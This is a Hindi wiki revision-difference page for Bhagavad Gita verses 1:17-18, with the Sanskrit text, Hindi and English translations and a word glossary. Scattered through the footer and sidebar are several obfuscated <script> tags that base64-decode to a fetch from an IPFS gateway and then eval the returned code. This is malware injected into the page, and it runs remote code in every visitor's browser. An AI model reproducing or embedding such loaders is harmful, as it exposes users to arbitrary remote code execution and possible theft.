"गीता 1:17-18" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
छो (Text replace - '<td> {{महाभारत}} </td> </tr> <tr> <td> {{गीता2}} </td>' to '<td> {{गीता2}} </td> </tr> <tr> <td> {{महाभारत}} </td>')
 
(६ सदस्यों द्वारा किये गये बीच के १२ अवतरण नहीं दर्शाए गए)
पंक्ति १: पंक्ति १:
{{menu}}<br />
+
{{menu}}
 
<table class="gita" width="100%" align="left">
 
<table class="gita" width="100%" align="left">
 
<tr>
 
<tr>
पंक्ति ९: पंक्ति ९:
 
'''प्रसंग-'''
 
'''प्रसंग-'''
 
----
 
----
भगवान् श्रीकृष्ण और अर्जुन के पश्चात् पाण्डव सेना के अन्यान्य शूरवीरों द्वारा सब ओर शंख बजाये जाने की बात कहकर अब उस शंखध्वनिका क्या परिणाम हुआ ? उसे संजय बतलाते हैं-  
+
भगवान् <balloon link="index.php?title=कृष्ण" title="गीता कृष्ण द्वारा अर्जुन को दिया गया उपदेश है। कृष्ण भगवान विष्णु के अवतार माने जाते हैं। कृष्ण की स्तुति लगभग सारे भारत में किसी न किसी रूप में की जाती है।
 +
¤¤¤ आगे पढ़ने के लिए लिंक पर ही क्लिक करें ¤¤¤">
 +
श्रीकृष्ण</balloon> और <balloon link="index.php?title=अर्जुन" title="महाभारत के मुख्य पात्र है। पाण्डु एवं कुन्ती के वह तीसरे पुत्र था। अर्जुन सबसे अच्छा धनुर्धर था। वो द्रोणाचार्य का शिष्य था। द्रौपदी को स्वयंवर मे जीतने वाला वो ही था।
 +
¤¤¤ आगे पढ़ने के लिए लिंक पर ही क्लिक करें ¤¤¤">
 +
अर्जुन</balloon> के पश्चात <balloon link="index.php?title=पांडव" title="पांडव कुन्ती के पुत्र थे। इनके नाम युधिष्ठर, भीम, अर्जुन, नकुल और सहदेव थे।
 +
¤¤¤ आगे पढ़ने के लिए लिंक पर ही क्लिक करें ¤¤¤">
 +
पाण्डव</balloon> सेना के अन्यान्य शूरवीरों द्वारा सब ओर शंख बजाये जाने की बात कहकर अब उस शंख ध्वनि का क्या परिणाम हुआ ? उसे <balloon link="index.php?title=संजय" title="संजय को दिव्य दृष्टि का वरदान था । जिससे महाभारत युद्ध में होने वाली घटनाओं का आँखों देखा हाल बताने में संजय, सक्षम था । श्रीमद् भागवत् गीता का उपदेश जो कृष्ण ने अर्जुन को दिया, वह भी संजय द्वारा ही सुनाया गया ।
 +
¤¤¤ आगे पढ़ने के लिए लिंक पर ही क्लिक करें ¤¤¤">
 +
संजय</balloon> बतलाते हैं-  
 
----
 
----
 
<div align="center">
 
<div align="center">
 
'''काश्यश्च परमेष्वास: शिखण्डी च महारथ: ।'''<br />
 
'''काश्यश्च परमेष्वास: शिखण्डी च महारथ: ।'''<br />
 
'''धृष्टद्युम्नो विराटश्च सात्यकिश्चापराजित: ।।17।।'''<br />
 
'''धृष्टद्युम्नो विराटश्च सात्यकिश्चापराजित: ।।17।।'''<br />
'''द्रुपदो द्रौपदेयाश्च सर्वश: पृथिवीपते ।'''<br />
+
'''द्रुपदो द्रौपदेयाश्चे सर्वश: पृथिवीपते ।'''<br />
'''सौभद्रश्च महाबाहु: शंखान्दध्मु: पृथक्पृथक् ।।18।।'''
+
'''सौभद्रश्च महाबाहु: शख्ङान्दध्मु: पृथक्पृथक् ।।18।।'''
 
</div>
 
</div>
 
----
 
----
पंक्ति २५: पंक्ति ३३:
 
| style="width:50%; font-size:120%;padding:10px;" valign="top"|
 
| style="width:50%; font-size:120%;padding:10px;" valign="top"|
  
श्रेष्ठ धनुष वाले काशिराज और महारथी शिखण्डी एवं धृष्टद्युम्न तथा राजा विराट और अजेय सात्यकि, राजा द्रुपद एवं द्रौपदी के पाँचों पुत्र और बड़ी भुजावाले सुभद्रा पुत्र अभिमन्यु- इन सभी ने, राजन् ! सब ओर से अलग-अलग शंख बजाये ।।17-18।।
+
श्रेष्ठ धनुष वाले काशिराज और महारथी [[शिखण्डी]] एवं <balloon link="index.php?title=धृष्टद्युम्न" title="ये द्रुपद का पुत्र तथा द्रौपदी का भाई था। द्रोणाचार्य का वध इसी ने किया।
 +
¤¤¤ आगे पढ़ने के लिए लिंक पर ही क्लिक करें ¤¤¤">
 +
धृष्टद्युम्न</balloon> तथा राजा विराट और अजेय [[सात्यकि]], राजा <balloon link="index.php?title=द्रुपद" title=" द्रौपदी के पिता । शिक्षा काल में द्रुपद और द्रोण की गहरी मित्रता थी।
 +
¤¤¤ आगे पढ़ने के लिए लिंक पर ही क्लिक करें ¤¤¤">
 +
द्रुपद</balloon> एवं <balloon link="index.php?title=द्रौपदी" title="द्रौपदी का जन्म महाराज द्रुपद के यहाँ यज्ञकुण्ड से हुआ था । महाभारत में द्रौपदी का विवाह पाँचों पाण्डव से हुआ ।
 +
¤¤¤ आगे पढ़ने के लिए लिंक पर ही क्लिक करें ¤¤¤">
 +
द्रौपदी</balloon> के पाँचों पुत्र और बड़ी भुजावाले <balloon link="index.php?title=सुभद्रा" title="बलराम व कृष्ण की बहन थीं,  और अर्जुन की पत्नी व अभिमन्यु की माता ।
 +
¤¤¤ आगे पढ़ने के लिए लिंक पर ही क्लिक करें ¤¤¤">
 +
सुभद्रा</balloon> पुत्र <balloon link="index.php?title=अभिमन्यु" title="महाभारत के एक महत्वपूर्ण पात्र अभिमन्यु पाँच पांडवों में से अर्जुन के पुत्र थे। इनकी माता का नाम सुभद्रा था।
 +
¤¤¤ आगे पढ़ने के लिए लिंक पर ही क्लिक करें ¤¤¤">
 +
अभिमन्यु</balloon> इन सभी ने, राजन् ! सब ओर से अलग-अलग शंख बजाये ।।17-18।।
  
 
| style="width:50%; font-size:120%;padding:10px;" valign="top"|
 
| style="width:50%; font-size:120%;padding:10px;" valign="top"|
  
And the excellent archer, the king of kasi and sikhandi the maharathi(greatcar-warrior), dhrastadyaumna and virata; and invincible satyaki, Drupada as well as the five sons of draupadi, and the mighty-armed abhimanyu, son of subhadra, all of them, O lord of the earth, severally blew their respective conchs form all sides:(17-18)
+
And the excellent archer, the king of Kasi and Sikhandi the maharathi (greatcar-warrior), Dhrastadyaumna and Virata; and invincible Satyaki, Drupada as well as the five sons of Draupadi, and the mighty-armed Abhimanyu, son of Subhadra, all of them, O lord of the earth, severally blew their respective conchs form all sides.(17-18)
  
 
|-
 
|-
पंक्ति ४४: पंक्ति ६२:
 
</td>
 
</td>
 
</tr>
 
</tr>
</table>
+
<tr>
 +
<td>
 +
<br />
 +
<div align="center" style="font-size:120%;">'''[[गीता 1:16|<= पीछे Prev]] | [[गीता 1:19|आगे Next =>]]'''</div>
 +
</td>
 +
</tr>
 +
<tr>
 +
<td>
 +
<br />
 
{{गीता अध्याय 1}}
 
{{गीता अध्याय 1}}
 +
</td>
 +
</tr>
 +
<tr>
 +
<td>
 
{{गीता अध्याय}}
 
{{गीता अध्याय}}
 +
</td>
 +
</tr>
 +
<tr>
 +
<td>
 +
{{गीता2}}
 +
</td>
 +
</tr>
 +
<tr>
 +
<td>
 +
{{महाभारत}}
 +
</td>
 +
</tr>
 +
</table>
 +
[[Category:गीता]]
 +
__INDEX__

१२:३२, २१ मार्च २०१० के समय का अवतरण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

गीता अध्याय-1 श्लोक-17,18 / Gita Chapter-1 Verse-17,18

प्रसंग-


भगवान् <balloon link="index.php?title=कृष्ण" title="गीता कृष्ण द्वारा अर्जुन को दिया गया उपदेश है। कृष्ण भगवान विष्णु के अवतार माने जाते हैं। कृष्ण की स्तुति लगभग सारे भारत में किसी न किसी रूप में की जाती है। ¤¤¤ आगे पढ़ने के लिए लिंक पर ही क्लिक करें ¤¤¤"> श्रीकृष्ण</balloon> और <balloon link="index.php?title=अर्जुन" title="महाभारत के मुख्य पात्र है। पाण्डु एवं कुन्ती के वह तीसरे पुत्र था। अर्जुन सबसे अच्छा धनुर्धर था। वो द्रोणाचार्य का शिष्य था। द्रौपदी को स्वयंवर मे जीतने वाला वो ही था। ¤¤¤ आगे पढ़ने के लिए लिंक पर ही क्लिक करें ¤¤¤"> अर्जुन</balloon> के पश्चात <balloon link="index.php?title=पांडव" title="पांडव कुन्ती के पुत्र थे। इनके नाम युधिष्ठर, भीम, अर्जुन, नकुल और सहदेव थे। ¤¤¤ आगे पढ़ने के लिए लिंक पर ही क्लिक करें ¤¤¤"> पाण्डव</balloon> सेना के अन्यान्य शूरवीरों द्वारा सब ओर शंख बजाये जाने की बात कहकर अब उस शंख ध्वनि का क्या परिणाम हुआ ? उसे <balloon link="index.php?title=संजय" title="संजय को दिव्य दृष्टि का वरदान था । जिससे महाभारत युद्ध में होने वाली घटनाओं का आँखों देखा हाल बताने में संजय, सक्षम था । श्रीमद् भागवत् गीता का उपदेश जो कृष्ण ने अर्जुन को दिया, वह भी संजय द्वारा ही सुनाया गया । ¤¤¤ आगे पढ़ने के लिए लिंक पर ही क्लिक करें ¤¤¤"> संजय</balloon> बतलाते हैं-


काश्यश्च परमेष्वास: शिखण्डी च महारथ: ।
धृष्टद्युम्नो विराटश्च सात्यकिश्चापराजित: ।।17।।
द्रुपदो द्रौपदेयाश्चे सर्वश: पृथिवीपते ।
सौभद्रश्च महाबाहु: शख्ङान्दध्मु: पृथक्पृथक् ।।18।।



श्रेष्ठ धनुष वाले काशिराज और महारथी शिखण्डी एवं <balloon link="index.php?title=धृष्टद्युम्न" title="ये द्रुपद का पुत्र तथा द्रौपदी का भाई था। द्रोणाचार्य का वध इसी ने किया। ¤¤¤ आगे पढ़ने के लिए लिंक पर ही क्लिक करें ¤¤¤"> धृष्टद्युम्न</balloon> तथा राजा विराट और अजेय सात्यकि, राजा <balloon link="index.php?title=द्रुपद" title=" द्रौपदी के पिता । शिक्षा काल में द्रुपद और द्रोण की गहरी मित्रता थी। ¤¤¤ आगे पढ़ने के लिए लिंक पर ही क्लिक करें ¤¤¤"> द्रुपद</balloon> एवं <balloon link="index.php?title=द्रौपदी" title="द्रौपदी का जन्म महाराज द्रुपद के यहाँ यज्ञकुण्ड से हुआ था । महाभारत में द्रौपदी का विवाह पाँचों पाण्डव से हुआ । ¤¤¤ आगे पढ़ने के लिए लिंक पर ही क्लिक करें ¤¤¤"> द्रौपदी</balloon> के पाँचों पुत्र और बड़ी भुजावाले <balloon link="index.php?title=सुभद्रा" title="बलराम व कृष्ण की बहन थीं, और अर्जुन की पत्नी व अभिमन्यु की माता । ¤¤¤ आगे पढ़ने के लिए लिंक पर ही क्लिक करें ¤¤¤"> सुभद्रा</balloon> पुत्र <balloon link="index.php?title=अभिमन्यु" title="महाभारत के एक महत्वपूर्ण पात्र अभिमन्यु पाँच पांडवों में से अर्जुन के पुत्र थे। इनकी माता का नाम सुभद्रा था। ¤¤¤ आगे पढ़ने के लिए लिंक पर ही क्लिक करें ¤¤¤"> अभिमन्यु</balloon> इन सभी ने, राजन् ! सब ओर से अलग-अलग शंख बजाये ।।17-18।।

And the excellent archer, the king of Kasi and Sikhandi the maharathi (greatcar-warrior), Dhrastadyaumna and Virata; and invincible Satyaki, Drupada as well as the five sons of Draupadi, and the mighty-armed Abhimanyu, son of Subhadra, all of them, O lord of the earth, severally blew their respective conchs form all sides.(17-18)


परमेष्वास: = श्रेष्ठ धनुषवाला; काश्य: = काशिराज; महारथ: = महारथी; विराट: = राजा विराट; अपराजित: = अजेय; सात्याकि: = सात्यकि; द्रौपदेया: = द्रौपदी के पांचों पुत्र; च = और महाबाहु: =बड़ी भुजा वाला; सौभद्र: = सुभद्रापुत्र अभिमन्यु; सर्वश: = इन सब ने; पृथिवीपते = हे राजन्; पृथक् = अलग; पृथक् =अलग; दध्मु: = बजाये;



अध्याय एक श्लोक संख्या
Verses- Chapter-1

1 | 2 | 3 | 4, 5, 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17, 18 | 19 | 20, 21 | 22 | 23 | 24, 25 | 26 | 27 | 28, 29 | 30 | 31 | 32 | 33, 34 | 35 | 36 | 37 | 38, 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47

<sidebar>

  • सुस्वागतम्
    • mainpage|मुखपृष्ठ
    • ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल
      विशेष:Contact|संपर्क
    • समस्त श्रेणियाँ|समस्त श्रेणियाँ
  • SEARCH
  • LANGUAGES

__NORICHEDITOR__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • गीता अध्याय-Gita Chapters
    • गीता 1:1|अध्याय [1] Chapter
    • गीता 2:1|अध्याय [2] Chapter
    • गीता 3:1|अध्याय [3] Chapter
    • गीता 4:1|अध्याय [4] Chapter
    • गीता 5:1|अध्याय [5] Chapter
    • गीता 6:1|अध्याय [6] Chapter
    • गीता 7:1|अध्याय [7] Chapter
    • गीता 8:1|अध्याय [8] Chapter
    • गीता 9:1|अध्याय [9] Chapter
    • गीता 10:1|अध्याय [10] Chapter
    • गीता 11:1|अध्याय [11] Chapter
    • गीता 12:1|अध्याय [12] Chapter
    • गीता 13:1|अध्याय [13] Chapter
    • गीता 14:1|अध्याय [14] Chapter
    • गीता 15:1|अध्याय [15] Chapter
    • गीता 16:1|अध्याय [16] Chapter
    • गीता 17:1|अध्याय [17] Chapter
    • गीता 18:1|अध्याय [18] Chapter

</sidebar><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>